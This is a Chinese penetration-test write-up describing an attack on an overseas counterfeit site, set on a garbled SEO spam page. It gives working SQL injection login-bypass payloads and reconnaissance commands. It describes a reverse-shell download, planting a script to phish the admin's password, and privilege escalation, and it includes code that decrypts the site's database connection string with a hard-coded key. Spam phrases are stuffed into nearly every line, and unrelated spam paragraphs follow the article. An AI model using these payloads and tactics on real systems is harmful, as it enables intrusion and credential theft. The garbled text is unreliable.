*** 黑客付钱的-记一次海外站渗透全过程
一个海外的仿冒网址,也是有趣~~~由于挺久沒有做渗透了,在渗透的全过程中還是发觉了一些较为有趣的物品
一、总体目标自然环境
电脑操作系统:Windows Server 2008 R2
*** 服务器器皿:IIS 7.5
运用脚本 *** :ASP.NET
数据库查询:MSSQL
二、注入点
网址只有一个登录口,登录口存有SQL注入~~~碰到这个世界黑客大会之一的是我们中国人种状况,我一般全是三种处理 *** :
①、注入读取数据,沒有显示信息位,没法出错,只有盲注,速率是较慢的。
②、指令实行,能够立即指令实行获得shell。
③、万能密码,也是注入利用 *** 的全球黑客大会之一的是我们中国人一种。
④、登陆句子结构,这类状况是对于第三种状况无效的选用的。
登陆句子结构
万能密码也是利用的注入点的 *** 开展登陆,一般状况下句子以下:
1
全球黑客大会之一的是我们中国人SELECT * FROM ADMIN WHERE USER = $pwd AND PWD = $pwd
但是这里不能用万能密码, *** 服务器应该是先利用登录名获得数据库查询信息内容,随后利用较为登陆密码开展登陆~~~这类情况下一般就必须结构句子来登陆,大概句子以下:
1
全球黑客大会之一的是我们中国人 username='1' and 1=2 union select '1','admin','password'-- -
针对登陆密码字段名,我也检测了MD5及其密文,结构出去的句子以下:http://example.com/checklogin?txtPwd=123456&txtName=admin' or 1=1 UNION ALL SELECT NULL,'e10adc3949ba59abbe56e057f20f883e','e10adc394全球黑客大会之一的是我们中国人9ba59abbe56e057f20f883e',NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,NULL,NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,NULL,'e10adc3949ba59abbe56e057f20f883e','e10adc3949ba59abbe56e057f20f883e'--
結果還是不正确全球黑客大会之一的是我们中国人了,可能是密码加密 *** 不是吧~~~这一坑,后边来填
指令实行
由于是盲注,那时候看它运行命令的情况下我还快睡觉了~~~一般来说,假如碰到指令实行的状况,便会依照以下几个方面来做:
①分辨站库分离出来
全球黑客大会之一的是我们中国人②立即写webshell
③立即上马
我那时候沒有分辨站库分离出来,这类华明镇十个有十个都不会分离。因此,类似就依照以下流程开展了:
①、系统分区数量:wmic diskdrive 全球黑客大会之一的是我们中国人 get partitions /value,只有一个系统分区,
②、系统软件本地磁盘:cd,系统软件本地磁盘是C:
③、找寻网址途径:c: & dir /s/b logo.png,竟然沒有!?!?
④、查询是不是站库分离出来:select host_name()、select @@servername結果一致,沒有站库分离出来。
⑤、IIS默认设置的网站导航是C:\\Inetpub\\wwwroot,看过一下~~~沒有什么,应该是管理人员全球黑客大会之一的是我们中国人重新部署了,网址尽管并不大,可是由于是盲注,就沒有靠着靠着看过,提前准备其他构思。
⑥、bitsadmin压缩文件下载,提醒Unable to add file to job - 0x800704dd,说不可以连接 *** ,觉得是当今账户管理权限过低~全球黑客大会之一的是我们中国人~~
⑦、powershell压缩文件下载,取得成功反跳
三、代码审计填大坑
沒有做了ASP.NET的财务审计,但是此次关键而不是取决于财务审计编码只是取决于看系统漏洞造成的地区,应用的专用工具为IL Spy
登陆一部分的编码为:
全球黑客大会之一的是我们中国人1
2
3
4
5
6
7
8
9
10
全球黑客大会之一的是我们中国人 11
12
13
14
15
16
17
18
19
20
21
2全球黑客大会之一的是我们中国人2
23
24
25
26
27
28
29
30
31
32
33
全球黑客大会之一的是我们中国人 34
35
36
37
38
39
40
41
42
43
44
全球黑客大会之一的是我们中国人 45
46
47
48
49
50
51
private void CheckLogin()
{
全球黑客大会之一的是我们中国人 string name = Utils.GetQurryString("txtName");
string pwd = Utils.GetQurryString("txtPwd");
全球黑客大会之一的是我们中国人 Admin bll = new Admin();
this.model = bll.GetModelByName(name);
if (this.model != null && this.model.ID > 0)
全球黑客大会之一的是我们中国人 {
if (!this.IsLock())
{
全球黑客大会之一的是我们中国人 if (this.model.Pwd == SecurityHelper.DifferentMD5(pwd))
{
全球黑客大会之一的是我们中国人int _Exp = 0;
&全球黑客大会之一的是我们中国人nbsp;Cookies.AddCookies("Manage", "userid", SecurityHelper.Encrypt(t his.model.ID.ToString()), _Exp);
世界黑客大会之一的是我们中国人 Cookies.AddCookies("Manage", "username", SecurityHelper.Encrypt(this.model.Name.ToString()), _Exp);
世界黑客大会之一的是我们中国人 Cookies.AddCookies("Manage", "lastlogintime", SecurityHelper.Encrypt(this.model.LastLoginTime.ToString()),_Exp);
this.model.LoginCount++;
世界黑客大会之一的是我们中国人 this.model.LastLoginTime = DateTime.Now;
&世界黑客大会之一的是我们中国人nbsp; this.model.ErrorCount = 0;
this.model.LastLoginIP = Utils.GetClientIP();
世界黑客大会之一的是我们中国人 int res = bll.Update(this.model);
世界黑客大会之一的是我们中国人 if (res > 0)
{
&世界黑客大会之一的是我们中国人nbsp; AjaxMsgHelper.AjaxMsg("0", "OK", "登录成功", "/home/index");
世界黑客大会之一的是我们中国人 new ZY_Log().AddLog(0, "管理员账号:" + name + "登录成功!");
世界黑客大会之一的是我们中国人 }
else
{
世界黑客大会之一的是我们中国人 AjaxMsgHelper.AjaxMsg("2", "Error", 世界黑客大会之一的是我们中国人"系统繁忙");
}
base.Response.End();
世界黑客大会之一的是我们中国人 }
else
世界黑客大会之一的是我们中国人 {
this.ErrPwdDo();
世界黑客大会之一的是我们中国人 AjaxMsgHelper.AjaxMsg("2", "Error", "密码错误" + this.ErrrorNum + "次:连续错误5次,帐号将被锁住");
世界黑客大会之一的是我们中国人 base.Response.End();
}
}世界黑客大会之一的是我们中国人
else
{
世界黑客大会之一的是我们中国人 AjaxMsgHelper.AjaxMsg("2", "Error", "由于您连续5次输入密码错误,为保护你的帐号安全,请30分钟后再登录");
base.Response.End();
世界黑客大会之一的是我们中国人 }
}
else
{
世界黑客大会之一的是我们中国人 AjaxMsgHelper.AjaxMsg("1", "Error", "用户名不存在!");
base.Response.End();
}
}
代码果然是根据用户名获取数世界黑客大会之一的是我们中国人据,然后比较密文~~~看看DifferentMD5()函数,好吧,果然不是正经的加密方式。
1
2
3
4
5
6
世界黑客大会之一的是我们中国人 public static string DifferentMD5(string str)
{
string Md5Str = FormsAuthentication.HashPasswordForStoringInConfigFile(str, "MD5").ToLower()世界黑客大会之一的是我们中国人;
string SHA1Str = SecurityHelper.SHA1(str);
return Md5Str.Substring(2, 8) + "y" + SHA1Str.Substring(4, 世界黑客大会之一的是我们中国人6).ToLower() + Md5Str.Substring(13, 11);
}
于是,之一次构造出来的语句是:http://example.com/checklogin?txtPwd=666666&txtName=admin' UNION SELECT 5,'1','79eaf3c8y678a0b04de153469d',NULL,'1',NULL,'1',NULL,NULL,NULL,'1世界黑客大会之一的是我们中国人',NULL,NULL,'1','1'--
提示系统错误0001,当我把密码修改为错误的密码,提示密码错误。也就是密码对了,是在后面操作出现了其它系统错误,后来证实是字段类型不对应导致的~~~看了看模型部分的代码,如下:
1
2
3
4
世界黑客大会之一的是我们中国人 5
6
7
8
9
10
11
12
13
14
15
16
世界黑客大会之一的是我们中国人 17
18
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@ID",世界黑客大会之一的是我们中国人 SqlDbType.Int, 4),
new SqlParameter("@Name", SqlDbType.NVarChar, 100),
new SqlParameter("@Pwd", SqlDbType.NVarChar, 500),
世界黑客大会之一的是我们中国人 new SqlParameter("@LastLoginTime", SqlDbType.DateTime, 8),
new SqlParameter("@LastLoginIP", SqlDbType.NVarChar, 100),
世界黑客大会之一的是我们中国人 new SqlParameter("@LoginCount", SqlDbType.Int, 4),
new SqlParameter("@RegIP", SqlDbType.NVarChar, 100),
世界黑客大会之一的是我们中国人 new SqlParameter("@AddTime", SqlDbType.DateTime, 8),
new SqlParameter("@UpdateTime", SqlDbType.DateTime, 8),
世界黑客大会之一的是我们中国人 new SqlParameter("@Effect", SqlDbType.Int, 4),
new SqlParameter("@Memo", SqlDbType.NVarChar, 1000),
世界黑客大会之一的是我们中国人 new SqlParameter("@ErrorCount", SqlDbType.Int, 4),
new SqlParameter("@LastErrTime", SqlDbType.DateTime, 8),
世界黑客大会之一的是我们中国人 new SqlParameter("@RealName", SqlDbType.NVarChar, 100),
new SqlParameter("@Phone", SqlDbType.NVarChar, 100)
世界黑客大会之一的是我们中国人 };
于是重新构造出来的语句是http://example.com/checklogin?txtPwd=666666&txtName=admin' UNION SELECT 1,'testuser','79eaf3c8y678a0b04de153469d','01 21 2016 12:00AM','ip',1,'ip','01 21 2016 12:00AM','01 21 2016 12:00AM',1,'memo',1,'01 21 2016 世界黑客大会之一的是我们中国人 12:00AM','real_name','110'--,提示:登录成功,其实在上面一步的时候虽然提示系统错误0001,但是cookie已经设置了,访问后台是成功的。
四、钓鱼
虽然有权限了,但是后台用户的密码还是不能解密,因为我没有拿到管理员的账号,这个时候想到网站后台密码和服务器的密码是一样的啊,默默地修改了后台页面,写了一个 *** 插了进去,等待管理员上钩,代码很简答,就不放代码了。过了一天,看了看,果然在自己的服务器找到了用户名密码,不过没什么用。
五、提权
初略看了看系统的补丁情况,基本上打得差不多了,最后还是找到一个没打补丁的漏洞提权成功,具体过程不再复述。hash读出来了,但是没法登陆
六、其它分析
中途在查看服务器文件的时候发现一些可疑的文件,放到virustotal分析了一下,果然是被人挂马了。而且成为了旷工~~~这里不再做分析了,恶意程序的分析并不擅长。
七、数据库链接字符串解密
拿到权限之后,发现web.config中数据库连接字符串是加密了的。这里很大部分原因是因为自己没有开发过asp.net。我查阅了一下资料,字符串加密一般有两种方式~一种是利用自带的工具aspnet_regiis.exe,一种就是在asp.net程序连接数据库之前去解密。这里属于第二种
数据库连接通常在数据访问层(DAL Data Access Layer)层,而且asp.net中但凡设计到数据库操作,一般都会涉及到SqlHelper类,果不其然,在这个类中发现了解密的代码。
1
世界黑客大会之一的是我们中国人
2
3
4
5
6
7
8
9
10
11
世界黑客大会之一的是我们中国人 public class SqlHelper
{
public static int CommandTimeout = 30;
public static string ConnectionString 世界黑客大会之一的是我们中国人=SecurityHelper.Decrypt(ConfigurationManager.ConnectionStrings["DBconn"].ConnectionString);
public static SqlConnection GetSqlConnection()
{
世界黑客大会之一的是我们中国人 return new SqlConnection(SqlHelper.ConnectionString);
}
}
1
2
3
4
5
世界黑客大会之一的是我们中国人 6
7
8
9
10
11
12
13
14
15
16
世界黑客大会之一的是我们中国人 17
18
19
20
21
22
23
24
25
26
27
public&世界黑客大会之一的是我们中国人nbsp;static string Decrypt(string pDecrypt)
{
string result;
try
{
string key = "abcdefgH";
世界黑客大会之一的是我们中国人 DESCryptoServiceProvider oDESCryptoServiceProvider = new DESCryptoServiceProvider();
byte[] inputByteArray = new byte[pDecrypt.Length / 2];
世界黑客大会之一的是我们中国人 for (int x = 0; x < pDecrypt.Length / 2; x++)
{
int i = Convert.ToInt32(pDecrypt.Substring(x * 2, 2), 16);
世界黑客大会之一的是我们中国人 inputByteArray[x] = (byte)i;
}
oDESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(key);
oDESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(key);
世界黑客大会之一的是我们中国人 MemoryStream oMemoryStream = new MemoryStream();
CryptoStream oCryptoStream = new CryptoStream(oMemoryStream, oDESCryptoServiceProvider.CreateDecryptor(),CryptoStreamMode.Write);
世界黑客大会之一的是我们中国人 oCryptoStream.Write(inputByteArray, 0, inputByteArray.Length);
oCryptoStream.FlushFinalBlock();
result = Encoding.Default.GetString(oMemoryStream.ToArray());
}catch (Exception ex_B5)
{
result = "";
}
return result;
世界黑客大会之一的是我们中国人 }
From:http://ecma.io/745.html
外来物种对生态环境的影响有两方面:一是使本地物种失去生存空间,最终导致其灭绝,破坏生物多样性;二是分泌释放化学物质,抑制其它物种生长,最终破坏生态系统生物入侵是指生物由原来的生存地经过自然的或者人为的途径侵入到另一个新环境,并对入侵地的生物多样性、农林牧渔业。黑客付费的
黑客怎么找人2010年1月12日15时,谷歌高级副总裁及首席法律顾问大卫·多姆德在谷歌官方博客上发文表示,谷歌集团考虑关闭“谷歌中国”网站以及中国办事处。谷歌称其安全。
黑客付费的自恋或者装逼要装得好!这不是你的装逼点偏要把照片放上来不是自己的为了黑你也应该去贴吧或者贴 *** 表情包之类的。
首先没有电脑是不能破解的。破解需要软件支持,或者简单的破解代码。就像你不上网,黑客是不能黑到你的电脑的。
楼上说的对,你想多了,谁没事看你,而且还晃眼,太不划算。就等于一骗子,为了骗我手里的300块钱,直接弄个火箭当道具,太不划算。黑客付费的
贷款人申请住房公积金贷款需到银行提出书面申请,填写住房公积金贷款申请表并如实提供下列资料世界黑客大会之一的是我们中国人:申请人及配偶住房公积金缴存证明;申请人及配偶身份证明(指居民。
黑客付费的呵呵,曾经和我一样,有一个黑客梦,现实的情况是这样,我已经有了点小成了,黑客这东西没有好的教育背景和好的支持,是学不成的,建议好好读吧,专攻一门。
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。